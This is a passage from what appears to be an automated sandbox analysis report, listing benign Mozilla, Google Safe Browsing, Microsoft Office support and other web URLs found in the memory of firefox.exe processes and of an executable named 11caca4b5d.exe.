Source: firefox.exe, 0000001A.00000003.4041473433.00000253A1A1D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4226499551.000002539E772000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4479754930.00000253A1A2B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4459980484.00000253A02E6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.4040296515.00000253A1A33000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.4041980584.00000253A1A33000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4221552205.000002539E37D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://poczta.interia.pl/mh/?mailto=%s
Source: firefox.exe, 0000001A.00000002.4226499551.000002539E772000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://poczta.interia.pl/mh/?mailto=%shttp://win.mail.ru/cgi-bin/sentmsg?mailto=%sgecko.handlerServ
Source: firefox.exe, 0000001A.00000002.4226499551.000002539E726000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://probeinfo.telemetry.mozilla.org/glean/repositories.
Source: firefox.exe, 0000001A.00000002.4221317638.000002539E180000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001B.00000002.4125265190.0000015865070000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.4130057539.000001E59D400000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://prod.ohttp-gateway.prod.webservices.mozgcp.net/ohttp-configs
Source: firefox.exe, 0000001A.00000002.4221317638.000002539E180000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001B.00000002.4125265190.0000015865070000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.4130057539.000001E59D400000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://profile.accounts.firefox.com/v1
Source: firefox.exe, 0000001A.00000002.4226499551.000002539E772000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.4125265190.0000015865070000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.4130057539.000001E59D400000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://profiler.firefox.com
Source: firefox.exe, 0000001A.00000002.4226499551.000002539E772000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://redux.js.org/api-reference/store#subscribe(listener)
Source: firefox.exe, 0000001A.00000002.4221317638.000002539E180000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.4502324361.00000253A4491000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.4125265190.0000015865070000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.4130057539.000001E59D400000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://relay.firefox.com/accounts/profile/?utm_medium=firefox-desktop&utm_source=modal&utm_campaign
Source: firefox.exe, 0000001A.00000002.4221317638.000002539E180000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.4499929210.00000253A4180000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.4125265190.0000015865070000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.4130057539.000001E59D400000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://relay.firefox.com/api/v1/
Source: firefox.exe, 0000001A.00000002.4221317638.000002539E180000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001B.00000002.4125265190.0000015865070000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.4130057539.000001E59D400000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://safebrowsing.google.com/safebrowsing/diagnostic?site=
Source: firefox.exe, 0000001A.00000002.4221317638.000002539E180000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001B.00000002.4125265190.0000015865070000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.4130057539.000001E59D400000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://safebrowsing.google.com/safebrowsing/downloads?client=SAFEBROWSING_ID&appver=%MAJOR_VERSION%
Source: firefox.exe, 0000001A.00000002.4221317638.000002539E180000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001B.00000002.4125265190.0000015865070000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.4130057539.000001E59D400000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://safebrowsing.google.com/safebrowsing/gethash?client=SAFEBROWSING_ID&appver=%MAJOR_VERSION%&p
Source: firefox.exe, 0000001A.00000002.4221317638.000002539E180000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001B.00000002.4125265190.0000015865070000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.4130057539.000001E59D400000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://safebrowsing.googleapis.com/v4/fullHashes:find?$ct=application/x-protobuf&key=%GOOGLE_SAFEBR
Source: firefox.exe, 0000001A.00000002.4221317638.000002539E180000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001B.00000002.4125265190.0000015865070000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.4130057539.000001E59D400000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://safebrowsing.googleapis.com/v4/threatHits?$ct=application/x-protobuf&key=%GOOGLE_SAFEBROWSIN
Source: firefox.exe, 0000001A.00000002.4221317638.000002539E180000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001B.00000002.4125265190.0000015865070000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.4130057539.000001E59D400000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://safebrowsing.googleapis.com/v4/threatListUpdates:fetch?$ct=application/x-protobuf&key=%GOOGL
Source: firefox.exe, 0000001A.00000002.4221317638.000002539E180000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001B.00000002.4125265190.0000015865070000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.4130057539.000001E59D400000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://sb-ssl.google.com/safebrowsing/clientreport/download?key=%GOOGLE_SAFEBROWSING_API_KEY%
Source: firefox.exe, 0000001A.00000003.4036868673.00000253A225A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4482965754.00000253A2094000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4499929210.00000253A4117000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4479641147.00000253A1970000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000003.4035830721.00000253A2000000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.4037355040.00000253A2277000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://screenshots.firefox.com/
Source: firefox.exe, 0000001A.00000002.4226499551.000002539E772000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://screenshots.firefox.com//shims/google-publisher-tags.js
Source: firefox.exe, 0000001A.00000002.4226499551.000002539E772000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://screenshots.firefox.com//shims/google-publisher-tags.jspictureinpicture
Source: firefox.exe, 0000001A.00000002.4222089313.000002539E6C5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://screenshots.firefox.comP
Source: firefox.exe, 0000001A.00000002.4221317638.000002539E180000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001B.00000002.4125265190.0000015865070000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.4130057539.000001E59D400000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v4/abuse/report/addon/
Source: firefox.exe, 0000001A.00000002.4221317638.000002539E180000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001B.00000002.4125265190.0000015865070000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.4130057539.000001E59D400000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v4/addons/addon/
Source: firefox.exe, 0000001A.00000002.4221317638.000002539E180000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001B.00000002.4125265190.0000015865070000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.4130057539.000001E59D400000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v4/addons/language-tools/?app=firefox&type=language&appversi
Source: firefox.exe, 0000001A.00000002.4221317638.000002539E180000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001B.00000002.4125265190.0000015865070000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.4130057539.000001E59D400000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v4/addons/search/?guid=%IDS%&lang=%LOCALE%
Source: firefox.exe, 0000001A.00000002.4221317638.000002539E180000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001B.00000002.4125265190.0000015865070000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.4130057539.000001E59D400000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v4/discovery/?lang=%LOCALE%&edition=%DISTRIBUTION%
Source: firefox.exe, 0000001A.00000002.4221317638.000002539E180000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001B.00000002.4125265190.0000015865070000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.4130057539.000001E59D400000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v5/addons/browser-mappings/?browser=%BROWSER%
Source: firefox.exe, 0000001A.00000002.4221317638.000002539E180000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001B.00000002.4125265190.0000015865070000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.4130057539.000001E59D400000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://shavar.services.mozilla.com/downloads?client=SAFEBROWSING_ID&appver=%MAJOR_VERSION%&pver=2.2
Source: firefox.exe, 0000001A.00000002.4221317638.000002539E180000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001B.00000002.4125265190.0000015865070000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.4130057539.000001E59D400000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://shavar.services.mozilla.com/gethash?client=SAFEBROWSING_ID&appver=%MAJOR_VERSION%&pver=2.2
Source: firefox.exe, 0000001A.00000002.4221317638.000002539E180000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001B.00000002.4125265190.0000015865070000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.4130057539.000001E59D400000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://snippets.cdn.mozilla.net/%STARTPAGE_VERSION%/%NAME%/%VERSION%/%APPBUILDID%/%BUILD_TARGET%/%L
Source: firefox.exe, 0000001A.00000002.4459980484.00000253A0258000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com
Source: firefox.exe, 0000001A.00000002.4226499551.000002539E772000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4511797530.00000253A6296000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4459980484.00000253A02C4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4510227560.00000253A5C4E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4499929210.00000253A4117000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4511797530.00000253A6261000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4384155043.000002539F457000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.4125343821.000001E59D312000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/
Source: firefox.exe, 0000001A.00000002.4459980484.00000253A0258000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4459980484.00000253A02C4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4499929210.00000253A4117000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4384155043.000002539F413000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4511797530.00000253A6261000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/spocs
Source: firefox.exe, 0000001A.00000002.4509133768.00000253A59E2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4459980484.00000253A02C4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4510227560.00000253A5C4E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4499929210.00000253A4117000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4384155043.000002539F457000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.4125343821.000001E59D3BC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/user
Source: firefox.exe, 0000001A.00000002.4500503968.00000253A4206000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4499929210.00000253A410C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4226499551.000002539E703000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://static.adsafeprotected.com/firefox-etp-js
Source: firefox.exe, 0000001A.00000002.4500503968.00000253A4206000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4498274385.00000253A3FFB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4499929210.00000253A410C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4499929210.00000253A4108000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4226499551.000002539E703000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4497409881.00000253A3E91000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4499929210.00000253A4103000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://static.adsafeprotected.com/firefox-etp-pixel
Source: 11caca4b5d.exe, 0000000A.00000003.3896058810.0000000005AA2000.00000004.00000800.00020000.00000000.sdmp, 11caca4b5d.exe, 0000000C.00000003.4011354558.0000000005CEE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.microsof
Source: firefox.exe, 0000001A.00000002.4480288941.00000253A1B03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4480288941.00000253A1B42000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4222089313.000002539E605000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4226499551.000002539E703000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org
Source: firefox.exe, 0000001A.00000002.4221317638.000002539E180000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001B.00000002.4125265190.0000015865070000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.4130057539.000001E59D400000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/
Source: firefox.exe, 0000001A.00000002.4221317638.000002539E180000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001B.00000002.4125265190.0000015865070000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.4130057539.000001E59D400000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/cross-site-tracking-report
Source: firefox.exe, 0000001A.00000002.4221317638.000002539E180000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001B.00000002.4125265190.0000015865070000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.4130057539.000001E59D400000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/cryptominers-report
Source: firefox.exe, 0000001A.00000002.4221317638.000002539E180000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001B.00000002.4125265190.0000015865070000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.4130057539.000001E59D400000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/fingerprinters-report
Source: firefox.exe, 0000001A.00000002.4221317638.000002539E180000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001B.00000002.4125265190.0000015865070000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.4130057539.000001E59D400000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/firefox-relay-integration
Source: firefox.exe, 0000001A.00000002.4221317638.000002539E180000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001B.00000002.4125265190.0000015865070000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.4130057539.000001E59D400000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/password-manager-report
Source: firefox.exe, 0000001A.00000002.4221317638.000002539E180000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001B.00000002.4125265190.0000015865070000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.4130057539.000001E59D400000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/search-engine-removal
Source: firefox.exe, 0000001A.00000002.4221317638.000002539E180000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001B.00000002.4125265190.0000015865070000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.4130057539.000001E59D400000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/send-tab
Source: firefox.exe, 0000001A.00000002.4221317638.000002539E180000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001B.00000002.4125265190.0000015865070000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.4130057539.000001E59D400000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/shield
Source: firefox.exe, 0000001A.00000002.4221317638.000002539E180000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001B.00000002.4125265190.0000015865070000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.4130057539.000001E59D400000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/social-media-tracking-report
Source: firefox.exe, 0000001A.00000002.4226499551.000002539E772000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/switching-devices?utm_source=panel-def
Source: firefox.exe, 0000001A.00000002.4226499551.000002539E772000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/switching-devices?utm_source=spotlight
Source: firefox.exe, 0000001A.00000002.4221317638.000002539E180000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001B.00000002.4125265190.0000015865070000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.4130057539.000001E59D400000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/tracking-content-report
Source: firefox.exe, 0000001A.00000002.4503705030.00000253A469B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/118.0.1/WINNT/en-US/
Source: firefox.exe, 0000001A.00000002.4221317638.000002539E180000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.4226499551.000002539E7E0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.4125265190.0000015865070000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.4130057539.000001E59D400000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/captive-portal
Source: 11caca4b5d.exe, 0000000C.00000003.4071538074.0000000005DBA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: firefox.exe, 0000001A.00000002.4499929210.00000253A4117000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/firefox-crashes-troubleshoot-prevent-and-get-helphttps://support.mozi
Source: firefox.exe, 0000001A.00000002.4222089313.000002539E612000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/fix-video-audio-problems-firefox-windows
Source: firefox.exe, 0000001A.00000002.4506462603.00000253A4A9F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/refresh-firefox-reset-add-ons-and-settings
Source: firefox.exe, 0000001A.00000002.4499929210.00000253A4117000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/warning-unresponsive-script#w_other-causes
Source: firefox.exe, 0000001A.00000002.4499929210.00000253A4117000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/warning-unresponsive-script#w_other-causesSELECT
Source: firefox.exe, 0000001A.00000002.4499929210.00000253A4117000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/website-translation
Source: firefox.exe, 0000001A.00000002.4499929210.00000253A4117000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/website-translationresource://gre/modules/DownloadIntegration.sys.mjs
Source: 11caca4b5d.exe, 0000000C.00000003.4071538074.0000000005DBA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: 11caca4b5d.exe, 0000000A.00000003.3896058810.0000000005AA0000.00000004.00000800.00020000.00000000.sdmp, 11caca4b5d.exe, 0000000A.00000003.3928228734.0000000005A99000.00000004.00000800.00020000.00000000.sdmp, 11caca4b5d.exe, 0000000A.00000003.3896356881.0000000005A99000.00000004.00000800.00020000.00000000.sdmp, 11caca4b5d.exe, 0000000A.00000003.3928553895.0000000005A99000.00000004.00000800.00020000.00000000.sdmp, 11caca4b5d.exe, 0000000C.00000003.4039384065.0000000005CE5000.00000004.00000800.00020000.00000000.sdmp, 11caca4b5d.exe, 0000000C.00000003.4038413871.0000000005CE5000.00000004.00000800.00020000.00000000.sdmp, 11caca4b5d.exe, 0000000C.00000003.4012338024.0000000005CE5000.00000004.00000800.00020000.00000000.sdmp, 11caca4b5d.exe, 0000000C.00000003.4011354558.0000000005CEC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016
Source: 11caca4b5d.exe, 0000000A.00000003.3896356881.0000000005A74000.00000004.00000800.00020000.00000000.sdmp, 11caca4b5d.exe, 0000000C.00000003.4012338024.0000000005CC0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples
Source: 11caca4b5d.exe, 0000000A.00000003.3896058810.0000000005AA0000.00000004.00000800.00020000.00000000.sdmp, 11caca4b5d.exe, 0000000A.00000003.3928228734.0000000005A99000.00000004.00000800.00020000.00000000.sdmp, 11caca4b5d.exe, 0000000A.00000003.3896356881.0000000005A99000.00000004.00000800.00020000.00000000.sdmp, 11caca4b5d.exe, 0000000A.00000003.3928553895.0000000005A99000.00000004.00000800.00020000.00000000.sdmp, 11caca4b5d.exe, 0000000C.00000003.4039384065.0000000005CE5000.00000004.00000800.00020000.00000000.sdmp, 11caca4b5d.exe, 0000000C.00000003.4038413871.0000000005CE5000.00000004.00000800.00020000.00000000.sdmp, 11caca4b5d.exe, 0000000C.00000003.4012338024.0000000005CE5000.00000004.00000800.00020000.00000000.sdmp, 11caca4b5d.exe, 0000000C.00000003.4011354558.0000000005CEC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17
Source: 11caca4b5d.exe, 0000000A.00000003.3896356881.0000000005A74000.00000004.00000800.00020000.00000000.sdmp, 11caca4b5d.exe, 0000000C.00000003.4012338024.0000000005CC0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install
Source: firefox.exe, 0000001A.00000002.4221317638.000002539E180000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001B.00000002.4125265190.0000015865070000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.4130057539.000001E59D400000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://token.services.mozilla.com/1.0/sync/1.5
Source: firefox.exe, 0000001A.00000002.4222089313.000002539E612000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://tools.ietf.org/html/draft-ietf-httpbis-encryption-encoding-02#section-2
Source: firefox.exe, 0000001A.00000002.4222089313.000002539E612000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://tools.ietf.org/html/draft-ietf-httpbis-encryption-encoding-02#section-3.1
Source: firefox.exe, 0000001A.00000002.4222089313.000002539E612000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://tools.ietf.org/html/draft-ietf-httpbis-encryption-encoding-02#section-4
Source: firefox.exe, 0000001A.00000002.4222089313.000002539E612000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://tools.ietf.org/html/rfc7515#appendix-C)
Source: firefox.exe, 0000001A.00000002.4221317638.000002539E180000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001B.00000002.4125265190.0000015865070000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.4130057539.000001E59D400000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://topsites.services.mozilla.com/cid/
Source: firefox.exe, 0000001A.00000002.4221317638.000002539E180000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001B.00000002.4125265190.0000015865070000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.4130057539.000001E59D400000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://tracking-protection-issues.herokuapp.com/new
Source: firefox.exe, 0000001A.00000002.4459980484.00000253A02C4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4117136152.0000000DB3004000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4489639039.00000253A2403000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4384155043.000002539F457000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://twitter.com/
Source: firefox.exe, 0000001A.00000002.4221317638.000002539E180000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001B.00000002.4125265190.0000015865070000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.4130057539.000001E59D400000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://versioncheck-bg.addons.mozilla.org/update/VersionCheck.php?reqVersion=%REQ_VERSION%&id=%ITEM
Source: firefox.exe, 0000001A.00000002.4221317638.000002539E180000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001B.00000002.4125265190.0000015865070000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.4130057539.000001E59D400000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://versioncheck.addons.mozilla.org/update/VersionCheck.php?reqVersion=%REQ_VERSION%&id=%ITEM_ID
Source: firefox.exe, 0000001A.00000002.4502324361.00000253A44C9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4226499551.000002539E7E0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://vk.com/
Source: firefox.exe, 0000001A.00000002.4221317638.000002539E180000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001B.00000002.4125265190.0000015865070000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.4130057539.000001E59D400000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://vpn.mozilla.org/?utm_source=firefox-browser&utm_medium=firefox-%CHANNEL%-browser&utm_campaig
